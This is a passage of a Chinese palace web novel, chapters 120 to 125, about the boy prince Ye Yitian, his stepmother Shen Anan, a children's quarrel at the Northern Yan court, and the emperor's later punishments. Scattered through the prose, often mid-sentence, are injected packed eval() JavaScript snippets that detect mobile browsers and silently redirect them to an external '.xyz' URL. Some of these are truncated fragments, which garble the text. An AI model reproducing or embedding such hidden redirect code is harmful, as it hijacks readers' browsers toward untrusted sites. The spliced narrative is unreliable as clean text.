“公孙嘉,谁给你的胆子敢欺负母后贵宾的?还不给本公主跪下认错。” “还有你,二哥,我要去告诉母后,叫母后打你屁股。” 陆昭弯腰,将夜亦天从地上搀扶了起来。 她任性的一脚踹在陆行的腿上,把人从椅子上踹了起来。 继而,她拉着夜亦天坐在了上面。 一双胖乎乎的小手,拿着一方绣着红色山茶花的帕子,认真又耐心的给他擦着手掌的灰尘。 第120章 暖男 公孙嘉蹲在陆昭身侧,仰头看着她,“公主,我……我这也是为了二殿下,公主就别生我的气了。” 这公孙嘉和陆行一般大,是陆行的伴读。 因着他阿爹有跟皇族联姻的心思,便让他好好的哄陆昭,要是能把公主娶回家做媳妇,简直就是他的一世荣光。 公孙嘉是看着陆昭一天天长大的,小时候还经常抱她呢。 陆昭是皇上和皇后最小的孩子,虽然她还有个双胞胎哥哥三殿下陆征,但丝毫不影响她是最受宠爱的那个。 整个北燕都把她视作是宝贝。 当然了,一群正常人里总有不正常的那个。 这个人就是陆行。 他当然也是宠爱这个妹妹的,但跟她讲理不听的时候,他就要动用血脉压制那一招。 譬如此时此刻。 “昭昭,他是我们的敌人,你怎么能对敌人这么好?”陆行拽住陆昭的小胳膊,不让她给夜亦天擦。 “你蛮不讲理,哼。”陆昭甩了半天,也没能甩开陆行。 毕竟陆行比她大了三岁,又天生神力。 “昭昭,你一点儿也不听话,小小年纪就吃里扒外,胳膊肘往外拐。 我才要去找母后告状,叫母后把你许配给公孙嘉,让你以后嫁到乌勒去。” 一旁的公孙嘉听闻这话,挠着头嘿嘿笑着,一双漆黑透着欢喜的眸子,看向了陆昭。 陆行看妹妹拉着夜亦天的手不放,一生气,开始用力扯。 陆昭被他抓疼了,葡萄似的大眼睛里含着泪水,“你弄疼我了,快放手。” 陆行道:“我都没用力。” 说着,他就要把陆昭扛在肩膀上扛走。 丝毫都不顾她的意愿。 夜亦天看在眼中,对陆行的厌恶更甚。 他也不知道突然哪里来的勇气,腾一下从椅子上站了起来,出其不意的推在了陆行肩膀上。 陆行没料到,登时脚下不稳,差点摔倒。 而被他扛到一半的陆昭,眼看着要摔倒。 夜亦天伸出手,扶住了她。 “你敢打我?” 陆行站定后,怒目瞪着夜亦天。 陆昭拦在夜亦天前面,“二哥你别疯,公孙嘉你快去叫母后啊。” 夜亦天冷冷的眸子盯着陆行,“你没听她说疼了?亏你还是她哥哥。” 夜亦天比陆昭高许多,她不过才到他胸口的位置。 他双手落在陆昭的肩膀上,把人护在了身后。 陆行看见这一幕,更生气了。 “小心。”陆昭喊了一声。 可终究是迟了,陆行一拳头朝着夜亦天就打了过来。 “老二,住手。”正巧陆言来了,喊了一声。 陆行听见哥哥的声音,及时收了力道。 可他的拳头还是跟夜亦天的手碰到了一起。 毫无疑问,夜亦天**了。 陆昭哭着把人领走了,陆言在教训陆行,而一起起哄的那些伴读,也被罚了。 事情闹到了郑婉婉跟前儿,只因陆昭哭着跑来求解药,口口声声都是“太子殿下是为了我。” 郑婉婉确实宠爱这个女儿,一股脑的把药给了她。 她转身离开时,还不忘给沈安安也行礼。 沈安安自是放心不下的,亦天不像亦德,身体强壮,陆行那小毒物的厉害她可是见识过的。 沈安安起身,满脸担忧的冲高位上的两人开口道:“陛下,娘娘,我是太子殿下的母妃,我……” 她话还没有说完,郑婉婉便道:“我陪你一起去。” 陆诰也没阻拦,她们两人从大殿里出来,直奔陆昭的住处。 郑婉婉宽慰着她,“不碍事的,药用上马上就能好了,他不会受太多苦。” 这是真话,要知道她的药可一向是以“仙药”著称的。 “行儿这臭小子,我待会儿一定要好好教训他,叫他给亦天赔礼认错,反了他了。”郑婉婉步子迈的飞快,看的出来她也很着急。 “嗯嗯。”沈安安点着头。 其实她心里是不悦的,虽说他们是来求药的,但也不能随便欺负一个小孩子啊。 但郑婉婉的态度实在是太好了,小公主也主动揽责任,人家母女俩都是情真意切的,搞得她有气也不好撒。 匆匆忙忙赶到陆昭住处,就看见夜亦天躺在一张椅子上。 陆昭和两个宫女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518577|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正在给他上药。 “亦天。”沈安安快步走过去,满目心疼,十分自责。 早知道,就不让亦天跟着那群孩子去了。 她责怪自己心大,明知陆行是个小霸王,当时就应该阻止的。 “母妃。”当着外人的面儿,夜亦天对她尊敬有加。 他说:“孤没事儿,母妃不用担心,都是孤的错。” 看着他这般委屈自己的模样,郑婉婉脑海里不禁想起了宇文少羽。 都说外甥像舅舅,夜亦天这克制隐忍,又温润有礼的模样,像极了宇文少羽。 看着他肿起来的小手,郑婉婉越发觉得自己又亏欠了宇文少羽。 她道:“太子就别把错都揽在自己身上了,本宫的儿子是什么脾性,本宫清楚的很。” “你先好好修养,待你好些了,本宫亲自揪他过来给你赔罪,昭儿,替母后好生照看着贵客。” “是,母后,儿臣遵命。”陆昭软糯的声音应着。 沈安安听出了郑婉婉话里的认真,她没说什么,毕竟她也觉得陆行那小霸王确实应该好好教育教育了。 夜亦天却开口了,“皇后娘娘,孤与母妃此次前来是求药的,皇后娘娘不必为了孤,责怪二殿下。” “唉。”郑婉婉叹息了声,“你这样的性子,最容易吃亏了,这事儿你就别管了,等着他来给你道歉就好。” 郑婉婉说罢,转身离开了。 夜亦天目光收了回来,嘴角噙着一抹笑,轻声冲陆昭说道:“不碍事的,孤自己上药就好了,公主妹妹金枝玉叶,不该做这种伺候人的活儿。” 沈安安:“……” 以前她怎么没发现,亦天这么贴心,这么会哄人呢。 “我来,我来吧。”沈安安从陆昭手中接过了药膏,给夜亦天手上涂了厚厚一层。 她问着:“还有哪里不舒服?” “不舒服你就说,我再去给你向皇后娘娘求药,别什么苦都往自己肚子里咽。 难受了,疼了,可没人能替你受,罪都要你自己受,听见没有?” 夜亦天不悦的冲着她翻了个白眼。 等陆昭扭头看他时,他又是一脸的谦卑温润。 第121章谁是你的小心肝? 因着这次的缘由,郑婉婉倒是做了件让沈安安意外的事儿。 还没拿到金子呢,就先把药交给了她。 但亦天也终究没能等来属于自己的道歉。 他们母子也顺理成章的被安置在了陆昭的“昭阳宫”里。 昭阳宫很大,他们住的西侧殿离陆昭的主殿有些距离。 晚膳时分,陆言领着一众伴读来到了西侧殿。 “参见荣贵妃娘娘。”陆言恭敬客气的冲沈安安行礼,他身后的伴读亦是如此。 继而,他方转向夜亦天,矮着身子拱手道:“还望太子殿下原宥幼弟,我代他向太子殿下赔罪认错。 太子殿下要如何责罚,我悉听尊便。” 夜亦天第一次感受到属于高位者应有的尊重,是来自敌国这个身份比他更尊崇的人。 眼前人谦卑有礼,温润有加,那浑身上下散发着的皇家高贵,就如初升的朝阳一般,越来越强烈。 夜亦天身子不禁坐的更板正了些,好让自己看上去配得上对方的低姿态。 “快快请起。”夜亦天顿了顿,等陆言朝自己行完了礼,他才起身,有模有样的去搀住了陆言的胳膊。 “他也不是有心的。”夜亦天声音淡淡道。 明明声音稚气未消,却老神在在的,活像个大人。 “你们几个,还不快向太子请罪。”陆言直起身子,冲身后伴读们道。 “不必了,孤并非小肚鸡肠之人,本就是孤与他们之间玩闹的小事罢了。”还不等那些孩子有动作,夜亦天先开口道。 这些伴读平日里都是跟着陆行混的,加之公孙嘉这个领头的本就看夜亦天不爽。 听他这话,公孙嘉象征性的冲他拱手,道:“既然太子殿下都这样说了,那我们也只好恭敬不如从命了。” 说罢,公孙嘉留下一句“不打扰了。”便领着那些伴读们恭恭敬敬的冲陆言行礼告退。 陆言还欲说些什么,沈安安顶着一张笑脸开口说着:“好了好了,时辰不早了,大殿下也快些回去休息吧。” “好的荣贵妃娘娘。”陆言客客气气应了一声,转身离开。 看着人走远了,沈安安这才将殿门关上。 陆昭怕他们住的不舒心,于是他们休息时,宫女太监便都撤走了。 此时西侧殿只有他们二人。 “这大殿下人挺好啊,一点儿皇室架子都没有,比亦德还随和呢,你说是不是亦天?”沈安安返回来,忍不住八卦着。 她跟在夜亦天身后进了屋子,蜡烛将整个屋子都照亮了。 沈安安坐在桌子前,一粒一粒的数药,“这药可太贵了,一粒都不能少。” 夜亦天捧着本书,坐在她对面看着,闷声不语。 “行了,你也别再生气了,虽然小霸王本人没有来给你道歉,但他大哥来了,比他份量还重呢。 这北燕不是还没立太子吗?那嫡长子肯定就是三位皇子里面身份最尊贵的了,你就知足吧,白天郑皇后还亲自来看望过你呢。 还有小公主,都把你收留在昭阳宫了,不是我说,这待遇你在轩辕可没有啊。” 夜亦天终于放下了书,抬起头看着她,小小的人儿眉头蹙着,“孤说什么了吗?” 好像是什么都没说。 他又道:“至于孤为什么没有如此待遇,你不该反省反省吗?” 沈安安把最后一粒药放进了盒子里,抬眸对上他的视线,“你又来。” “我最近荣宠还不多吗?我已经很争气了好不啦?是你该反省。” 夜亦天点了点头,清冷的稚嫩声响起:“确实够多,都给亦德了。” 沈安安:“???” “我有吗?” 这话说的她自己都不自信了,她也没给亦德什么啊,她偏心了吗? “没有吗?”夜亦天也是一声反问。 沈安安开始反思,细数属于亦德的东西:宫殿是给亦德扩建的,可也不是她能做主的啊;董聂和李汉民是**给亦德的;王坡也能算个东西吗? 她就唯一得了俩东西,开天哨,那不是一人一个吗? 沈安安思罢,无比笃定道:“亦天啊,你可能对我有误会。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夜不群那个**可是个言而无信的,要是她先带着药回去了,金子会不会如数兑换给郑皇后,那就不得而知了。 第122章 棋局 翌日。 沈安安在西侧殿大吃二喝的享受着。 而夜亦天却在昭阳宫的主殿院子里,陪着陆昭。 “太子哥哥,你懂的真多。”陆昭趴在桌子上,一双亮晶晶的眸子盯着夜亦天,眉眼弯弯带着笑意。 夜亦天薄唇动了动,正欲开口,忽听得一道小孩声音,叫着:“昭昭。” “三哥。”陆昭起身,蹦蹦跳跳的朝着来人跑去。 陆征揉了揉她的小脑袋,就被她拉到了夜亦天跟前儿来。 “太子也在?”陆征嘴角带着笑。 “三殿下。”夜亦天站起身来,倒是对对方客客气气。 “三哥,你不是说在北燕都找不到一个可以称为对手的人吗?那你跟太子哥哥对弈一局,看看谁厉害。”陆昭兴冲冲的说着。 她也不管两人愿不愿意,兀自就让宫女去准备棋盘了。 “正好闲来无事,那就消遣消遣吧。”夜亦天任由着陆昭拉着他的胳膊坐下来,他也顺着陆昭的意。 陆征坐在了他对面,“献丑了。” 夜亦天做了个请的手势,“客随主便,三殿下先请。” 陆征也不客气,两指夹起一颗棋子,落于棋盘之上。 正所谓棋随意动。 陆征攻势满满。 而夜亦天则是冷静应对,那叫一个滴水不漏,又暗藏杀机。 但陆证也是应对自如,进退有度。 陆昭背着手,踩在凳子上看着棋盘,这盘棋也太精彩了。 她倒是真想看三哥输一次,不知道输了之后的三哥会是什么表情。 “皇后娘娘驾到。”就在双方不分伯仲,棋局陷入僵局时,太监的声音打破了宁静。 郑婉婉抬步朝他们走来。 她看着落子满满当当的棋盘,虽然不懂,但能跟自己儿子下到这种地步的,也不是个简单人。 “哎呀!”郑婉婉不禁看着夜亦天发出感慨,“倒是有你父皇当年的风采,可以可以。” 夜亦天抬眸看向她,正想开口。 就见沈安安顶着一嘴的油,赫然出现,问着:“什么可以?” 夜亦天垂下眼睑,心下抱怨:沈安安这女人怎么总是在不合时宜的时候出现? 郑婉婉看向沈安安道:“哦,没什么,我就是来跟你说一声,你们可以走了。” 沈安安疑惑问着:“这……不用等金子到吗?” 郑婉婉摆了摆手,“不用,马上就要到西北雨季了,趁早出发吧,别耽误了安乐用药。” 真耽误了,可不是这三瓜两枣能解决的。 阿扇预测了天气,几日后有大雨。 “那好吧,那就即刻出发。”沈安安说着弯腰就把夜亦天抱进了怀里。 反正来的时候也没带什么东西,不用打包行李了,药盒在就行。 “嘿嘿嘿。”陆昭的笑声突然响起。 夜亦天霎时间红了脸,手拍着沈安安的肩膀,示意她赶紧把自己放下来。 陆昭仰头看着夜亦天,“原来太子哥哥你在自己母妃面前,也是个无力反抗的小孩子呀。” 郑婉婉宠溺的嗔斥陆昭,“昭儿,不得无礼。” 陆昭听话的收了笑,解释着:“母后,儿臣没有取笑太子哥哥的意思。” 郑婉婉一左一右牵着陆征陆昭,送沈安安二人出了昭阳宫。 陆征意犹未尽,告别时冲夜亦天道:“残局我会留着,待下次见面,我再与你一定输赢。” “好。”夜亦天端端正正被沈安安抱着。 陆昭一边冲他们挥着手,一边问着:“太子哥哥,你还会再来吗?” “明年。”夜亦天朗声应着。 目送他们走远,郑婉婉方牵着一儿一女回到了院中。 她问着陆征,“征儿,你能赢他吗?” 陆征看着棋盘,缓缓开口:“此人擅于隐忍,心思深沉,看似步步为退,实则步步围剿,不好说。” 郑婉婉低了低头,好似想拼命看懂棋盘,“这样吗?娘没听错吧?” 陆昭道:“母后你没听错。” “看来少羽这大外甥也是个人才哈?”郑婉婉也不知道在问谁。 “是龙是虫,日后自有分晓,且看他还有没有机会跟我下完这盘棋。”陆征云淡风轻的说着。 郑婉婉忽地大喊一声:“陆征!!!” “母后,都说了你要母仪天下,不可如此咋咋乎乎,有什么事情慢慢说,虽说这后宫没其他妃子,可母后你也要以身作则。”陆征倒是教训起她来了。 郑婉婉不管不顾,继续自己没说完的话,“你少给我跟那群老迂腐成天混在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊???”陆昭大大的眼睛里全都是疑惑,小声道,“你要**?舅舅们支持你吗?” 第123章保他 骑马走官道很快。 出了同州,夜亦天算了算日子,时间还来得及,竟然给沈安安提了个十分无理的要求。 “你能不能想办法潜入平津去?孤想见姑母和表姐。” 沈安安严词拒绝,“不行,我看你真是不想我好过一点儿。 没看见北边的天乌云压顶吗?这变天都变了三日了,肯定要下一场大暴雨的,赶路要紧。” 分叉路口,沈安安把马鞭扬的更高了。 这平津乃是天缘国的国都,如今天缘国做主的是皇后夜昭承。 一场皇室变动,让曾经不逊于轩辕的天缘被一分为三。 一部分被轩辕占了,一部分给了北燕,剩下的一小部分地方,便是如今的天缘国。 夜昭承将国都迁到了平津。 平津与青州和同州接壤,夹缝中生存。 “沈安安,这是个绝好的机会。”夜亦天争取着。 沈安安“驾”一声,枭龙跑的更快了。 他们刚入青州城,瓢泼大雨倾盆而下,不多时,更是变成了冰雹。 狂风怒吼,大风刮的枭龙都站不稳。 无奈,沈安安只好抱着夜亦天进了就近一家客栈,继续赶路不现实了,只好在这里歇一晚。 刚订好厢房,小二刚把饭菜送来,万辛不合时宜的出现。 他站在厢房门口,恭恭敬敬的行礼道:“卑职参见贵妃娘娘、参见太子殿下。 娘娘万福金安,殿下千岁千岁千千岁。” “你来干嘛?”沈安安顿时觉得满桌子的美味佳肴都不香了,不悦的开口问着。 “娘娘,卑职能否进来详说?”万辛央求着。 沈安安还没开口说话呢,夜亦天便道:“进来吧。” “谢殿下。”万辛麻溜的跨了进来,反手就将厢房的门给关上了。 他倒是毫不客气,挨着夜亦天坐了下来。 他拿起筷子,恭恭敬敬的给夜亦天夹菜,“殿下,卑职曾经是先皇的近卫。 如今更应该像伺候先皇时那样效力于殿下。 还望殿下和娘娘开恩,准许卑职交出兵权,回京同武大人、杨大人一起效忠殿下、娘娘。” 陛下始终不信任他、北燕不要他、天缘更是两边都不敢得罪。 龙虎军上次来了青州之后,直接就不走了,把大营都安在青州了。 他不趁早谋出路,迟早死在青州。 “你打住。”沈安安瞪着他,“我们可没闲工夫管你的闲事。 你现在都是征西侯了,以后有享不完的荣华富贵。” 沈安安白眼都翻不完,就想尽快把人打发走。 万辛闻言一脸尴尬,但他只瞥了沈安安一眼,然后又满目希冀的望向了夜亦天。 “殿下,卑职除了您,什么都没有了。”他悲戚的说着,顺着凳子就跪在了地上,仰视着夜亦天。 两只手揪住夜亦天的衣角,一副“求您可怜可怜我”的模样。 夜亦天一垂眸,就看到了姿态卑微到了极致的万辛。 “啪。”忽地,沈安安把筷子往桌子上一拍。 动静太大,把万辛吓了一跳。 饶是夜亦天,也被惊到了,收回目光看向沈安安。 她二话不说,站起身来,一把就抓住了万辛的肩膀。 “娘娘,您这是什么意思?卑职,卑职只是想……” “啊。” 沈安安直接将人丢出了门,万辛骨碌碌的滚下了台阶。 在楼梯的蜿蜒处,他才堪堪稳住了身子,断不敢再上楼去打扰了。 沈安安把门关上,问着夜亦天,“你该不会是真的想着将他收入麾下吧?” 夜亦天垂下眼睑,“有何不可吗?” 亦德身边都有忠心之人,他身边为何就不能有? 陛下限制他的羽翼,父皇留下来的重臣本就没几个,如今还被削弱了势力。 即便知晓现在不是合适的时机,他也想要拉拢。 孤立无援的感觉,没有人能体会,一个个夜不能寐的日子里,沈安安又在做什么? “当然不行,你这不是引火烧身吗?咱们现在得蛰伏、蛰伏你懂吗?”沈安安把一只大鸡腿夹给他。 夜亦天直接从碗里拨到了桌子上,也不回答她的话。 沈安安不管,继续给他夹菜,“你现在什么都没有,也不得陛下宠爱,你现在要做的就是明哲保身。 锋芒过露,会树大招风的,到时候源源不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522396|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断的麻烦会找上你……” 沈安安说了很多话,但夜亦天一个字都听不进去。 她不在的时候,他就龟缩在荣华宫,可陛下一道口谕,荣华宫就不再是他的庇护之所了。 他是夜明练习骑射的活靶子,倾兰宫的太监也能随意欺负他。 夜明吃饭他看着,夜明读书他点烛,夜明学着批阅奏折他研墨…… 这些,又有谁知道? 夜明那句话,在夜亦天的脑中挥之不去—“皇兄,你想活下去,就得向我俯首称臣。” 刀都架在他的脖子上了,他还如何蛰伏? 冰雹来的快,去的也快。 戌时便停了,但淅淅沥沥的雨仍在继续。 夜亦天坐在窗边的书桌前,看着平铺在桌案上的书。 他连去太学院拿本书的自由都没有,放眼天下,除了万辛,还有谁会拿他当个主子看待? 杨士青和武文义吗?这两个奸臣,如今还哪里记得父皇对他们的半点好?更是亲近亦德。 “沈安安,万辛,孤要保。”夜亦天开口道。 “你说什么?”雨势很大,他的声音被雨落下的声音盖过,沈安安没听清。 “孤要保万辛,若你不帮孤,便看着孤死在皇叔手里吧。”夜亦天转过头,眸子坚定的说着。 “你是不是傻?”沈安安烦躁的翻了个身。 一时间,厢房里静的出奇,只有雨声从敞开着的窗户里传进来。 “你快睡吧,别看了,书都被你翻包浆了,明天还要赶路。”半晌,沈安安才又出声道。 见夜亦天不动,她干脆掀开被子起身,将屋中所有的蜡烛都吹灭了。 她强行拖着夜亦天上床榻睡觉了。 等把夜亦天哄睡着,沈安安穿着一身蓑衣、戴着斗笠,出了房门。 一片漆黑里,她骑着枭龙,直奔万辛的府邸。 沈安安砸开大门,守门的小厮一看是她,着急慌忙的让管家去叫万辛起来了。 万辛衣裳都没穿整齐,呼哧呼哧的跑了来。 “参见娘娘。”说着,他就要给沈安安跪下来。 下一瞬,沈安安伸出一只手,纤细白皙、被雨淋湿了的手,掐住了万辛的脖子。 第124章祭旗 万辛下意识的反应,是抓住沈安安的手腕。 他感觉自己无法呼吸了,眼睛越睁越大,窒息的感觉瞬间蔓延开来,他一个字都说不出。 双脚离地,大脑失去了思考能力。 他觉得自己已经看见了地狱大门向自己敞开。 他知道错了,他惹了不该惹的人。 沈安安太可怕了。 陛下除他尚且还找个理由,但沈安安要杀他,抬抬手而已。 就在万辛觉得自己的喉咙要被捏断的刹那,沈安安手上力道一松。 “啪。”万辛掉在了地上。 雨水浇在他身上,顷刻间便将他淋成了一个落汤鸡。 沈安安站在他面前,他甚至都不敢抬头看她一眼。 她就像死神一样,这一刻,她成了万辛怎么也跨不过去的一个深渊。 万辛双手捂着自己的脖子,那种喉咙要断了的感觉久久不散。 他什么都不敢说,而现场的家丁小厮,也被吓的大气都不敢喘。 “万辛,你该知道一仆不侍二主的道理。 你给我记住刚刚死亡的感觉,倘若有一天你伤害亦天,天涯海角,我也会送你下地狱。” “你利用亦天这一次,我不追究,但若还有第二次,我就把你的心挖出来喂狗,可听明白了?” 万辛连连点头,缓过来一口气儿,他老老实实跪在了沈安安面前。 “砰砰砰”就是三个响头,“再也不敢了,日后卑职绝不会把心思动到太子殿下身上。” “拿上你的兵符,随我去龙虎军大营。”沈安安说罢,转身出了府。 万辛赶紧让管家去书房把自己的兵符拿来,又让家丁准备了一匹快马。 连跟家里交代一声都来不及,骑在马背上冒着雨陪沈安安去大营。 变了,都变了。 他安排的养大沈安安的那户人家,说她就是个软蛋性子,好拿捏的很。 他此前也见过沈安安几次,说话都不敢大声,如今……如今成了个动不动就**的地狱阎罗,活叫人胆战心惊。 他也是上过战场、**过人的武将,可沈安安的威压和煞气,就是让他害怕。 龙虎军大营。 没有令牌和圣旨,自然不让他们进。 就在万辛想着这一趟肯定白跑了时,沈安安单枪匹马,直接就闯了进去。 万辛目瞪口呆,这也没给他反应的时间啊。 …… 轩辕皇宫,勤德殿。 夜不群高坐在龙椅上,底下跪着沈安安、万辛、夜亦天、赵小高。 一旁站着的,是魏大贤、龙虎军西北总将。 “陛下,荣贵妃纵有丹书铁券在手,可私闯军营,打伤大将,实在罪不可恕,还请陛下重重责罚荣贵妃。”总将怒气冲冲的说着。 他也被沈安安给打惨了。 无奈沈安安手握丹书铁券,他也不敢真把她怎么样。 但这口气,实在是咽不下,于是乎,先给陛下飞鸽传书后,便和他们一同入京了。 “还有万大人,枉顾军纪,无旨卸任,此乃杀头大罪,应当午门斩首。” “太子纵容包庇,也应一并处罚。” 总将说着,还不忘恶狠狠的瞪一眼沈安安。 龙椅旁,站着国师巫马道奇。 现在他不用给皇后试药了,但皇后的药,他还是得负责检查。 夜不群眸子盯着巫马道奇手上的动作,好似没听见总将的话。 勤德殿静的出奇。 直至巫马道奇将最后一粒药验完,开口道:“陛下,是真的。” 夜不群方摆了摆手,让他把药收了起来,站到一旁去。 他抬起头,看向了沈安安,道:“荣贵妃,你最好给朕一个说得过去的理由。” 总将闻言一脸问号,‘说得过去的理由’是什么意思?陛下要轻易放过荣贵妃? 沈安安道:“陛下,万大人是去交兵权的、又不是去夺兵权的,这是好事儿啊。 俗话说得好,‘一朝天子一朝臣。’ 万大人作为先皇近臣,让他驻守青州那等边疆要塞,陛下你也提心吊胆啊,他也睡不着觉。 与其这样,还不如将他放在京城,把他阉了丢在宫里做个太监也比让他在青州的好啊。” 万辛:“……” 他还没留种呢。 活命要紧,可留种也要紧啊。 总将:“???” 荣贵妃怎么什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526552|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话都往出说? 夜不群摆了摆手,示意她起来。 “把他放在宫里,朕嫌晦气,就让他去守宫门吧。 大贤,给他安排个职务。”夜不群说道。 “是。”魏大贤拱手应着。 万辛连忙砰砰磕头,“臣谢主隆恩,陛下万岁万岁万万岁。” 他也不怕把脑袋磕破。 “荣贵妃,实在调皮捣蛋,就罚你在椒房殿伺候皇后。”夜不群瞥向沈安安。 沈安安面带微笑,福身行礼,“臣妾遵命,陛下明察秋毫,臣妾谢过陛下。” “陛下,之前您答应过,这一趟回来,太子就可以……” “至于太子。”夜不群无视她,开口打断了她的话,“失察实乃大罪,禁闭十日,押下去。” 下一瞬,两名千人斩赫然出现,将还跪在地上的夜亦天拖起来,带出了勤德殿。 “陛下,你怎么能这样?”沈安安刚想要追出去,她就感觉到,勤德殿外的千人斩已经要拔刀了,她只好跟夜不群讲道理。 “你多说一句,他就多关一天,下去。”夜不群态度翛然变严厉,呵斥了一声。 “陛下……”总将嫌弃处罚太轻了,这分明就是在偏宠荣贵妃嘛。 “朕没治你私自回京之罪,对你已是恩赐,还不去找御医上完药,滚回青州?”夜不群怒斥一声。 总将什么都不敢说了,拱手低头,谢恩后麻溜退下。 他和沈安安一前一后出了勤德殿。 紧跟在他们身后出来的,是捧着药盒子的巫马道奇和崔福。 而勤德殿内,便只剩下了夜不群、魏大贤和赵小高三人。 “好啊你们两个,去一趟启西,把楚家军给祸祸没了。”夜不群森冷的声音,在大殿内响着。 魏大贤闻言,扑通一声跪在了地上。 他就跟赵小高说嘛,那些临阵脱逃的楚家军处置不得、处置不得,非不听,现在好了。 “陛下,臣知错了,任凭陛下处置。”魏大贤跪在地上,开口认错。 赵小高人是跪着的,嘴上却道:“那些草包延误军机,导致扎木乃逃了。 贪生怕死之辈,就该祭旗,以告慰马革裹尸的士兵在天之灵。” 第125章 开干 “啪。”一份奏折砸下来,赵小高刚好抬起头来,奏折打在他的额头上。 他什么都没说,双手放在地上,头埋的低低的跪好。 夜不群刚才没当着别人的面儿责备他们两个,是在维护他们,好让他们位极人臣的威严不会被蔑视。 但现在没外人了,那该怎么办就怎么办。 “混账东西,那是整整两万人。”夜不群厉声道。 “之前你坑杀俘虏,朕念在你是初犯,没追究你的责任;没想到你更加放肆了。 是不是哪天你**就杀到朕头上来了?” 声声质问,怒气冲冲。 赵小高不敢再辩解了,别把陛下气出个好歹来。 “还有你。”夜不群筱然变冷的眸子,继而落在魏大贤身上。 “朕跟你说的那些话,你都当成耳旁风了?你是怎么答应朕的?他要杀你就让他杀? 以后看你们还能在楚州征到兵吗?兵不好,练就是了,朕教你们的杀光?” 夜不群气的胸口不断的起伏。 骂他们再多也没用了,人死不能复生。 以前他是摄政王时,确实动用了许多特殊手段,为先皇解决麻烦。 那时候,魏大贤和赵小高时他手中最锋利的两把刀。 这些雷霆手段,也都是他教给他们的。 与其说是责怪他们,倒不如说夜不群是在自责。 他们还小的时候,就跟在他身边,变成如今这样,都是他一手调教出来的,从小到大养成的性子,又岂是一朝一夕就能改变的。 夜不群心中那无数道愤怒的声音,被他强行压了下去。 他没再说话了,跪着的两人也不敢出声。 一道道奏折被夜不群丢在了地上,刚才还堆积如山的桌子,不多时便几乎被腾空了。 这边魏大贤暂时离不开,另一边万辛逮住了机会,跟着夜亦天沈安安回了荣华宫。 “母妃。”夜亦德的声音传了来。 下一瞬,他小小的身子扑了过来。 沈安安蹲下,将他抱起来转圈圈,笑声一时间响彻了荣华宫。 李汉民和董聂也在。 董聂看了好半天,才认出来万辛。 “你个狗贼。”忽地,董聂大呵一声,抡着胳膊就冲万辛去了。 上次去青州,陛下没给他机会教训万辛。 “你有毛病啊?”万辛反应也是快,大骂了一声,瞬间和夜亦天拉开了距离。 以免对方冲过来,伤到了太子殿下。 两人扭打在了一起。 万辛毕竟年纪有些大,而董聂正值壮年。 毕竟是在沈安安的地盘,万辛也不敢真放开了打,还得抽空观察沈安安。 可董聂不管那么多,下死手,嘴里还骂着:“你害的我们大将军家破人亡,今天我就替我们大将军报仇。” 几招下来,完辛连连后退。 他大声叫着:“娘娘,你不管管啊?” 沈安安充耳不闻,弯腰将夜亦天也抱在了怀里,将两小只带进了屋子里去。 李汉民看着停不下来的董聂和万辛,忙的左看看右看看,喊着:“别打了,别打了。” “来了荣华宫,那以后就是一家人,以前的恩怨就让它烟消云散吧,我们好好展望未来,扶持殿下。” 至于扶持哪位殿下,他也没明说。 午膳时间都过了,两人也打的脱力了,坐在院子里。 沈安安吩咐着:“秦嬷嬷,给他们三人一人一碗饭。” 廊下放着太师椅,沈安安坐在上面,旁边放着两盆冰,宫女在给她扇扇子。 “啊?哦,好好好。”秦嬷嬷刚才只顾着看打架了。 平时在这深宫里,哪儿能看到这么好的把戏啊? 秦嬷嬷在每个碗底都放了红烧肉,上面盖上白米饭,和莲花一起端给了三人。 万辛挨打挨得多,两只眼睛都被打肿了。 董聂半边脸颊肿着,他“呸”一口,吐出了血沫子。 这死万辛,还真敢打他。 李汉民为了防止两人再起争执,横在他们中间,三人就坐在台阶上,扒拉着饭。 沈安安一边吃着甜瓜,一边说道:“要打,你们三个今天就敞开了打,打**算我的。” 李汉民闻言,差点一口饭都喷了出来。 